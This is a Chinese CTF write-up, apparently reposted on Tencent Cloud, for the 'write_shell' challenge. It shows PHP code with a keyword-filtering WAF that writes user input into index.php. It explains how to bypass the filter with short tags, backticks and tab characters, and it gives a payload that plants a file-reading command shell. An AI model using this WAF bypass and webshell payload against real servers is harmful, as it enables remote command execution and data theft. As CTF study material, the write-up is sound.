前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[红明谷CTF 2021]write_shell

[红明谷CTF 2021]write_shell

作者头像
yulate
发布2023-05-02 11:02:57
5170
发布2023-05-02 11:02:57
举报

本文最后更新于 559 天前,其中的信息可能已经有所发展或是发生改变。

上代码

代码语言:javascript
复制
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

思路

很明显的一道命令写入题,绕过waf写入命令到文件

获取写入文件路径

一眼就能看出传入action=pwd就能获取到生成的文件路径,写入后文件保存在生成的路径/index.php中

代码语言:javascript
复制
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>
20210910221022
20210910221022
写入文件
代码语言:javascript
复制
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

这里过滤了php、eval,这种情况下一句话木马就很难实现了

想要绕过check函数写shell,过滤了空格‘ ’可以用 \t 代替,也可以可以使用php中的%09来代替,过滤了'php'可以用短标签<?=?>代替,相当于<? echo>;

过滤了‘_’可以用<?=``?>代替,反引号在php中有执行命令的效果 利用通配符 '*' 模糊搜索目录下的文件

pyload

代码语言:javascript
复制
?action=upload&data=<?=`cat\t/*`?>
20210910221709
20210910221709

浏览量: 49

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2021-10-15 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 上代码
  • 思路
    • 获取写入文件路径
      • 写入文件
      • pyload
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档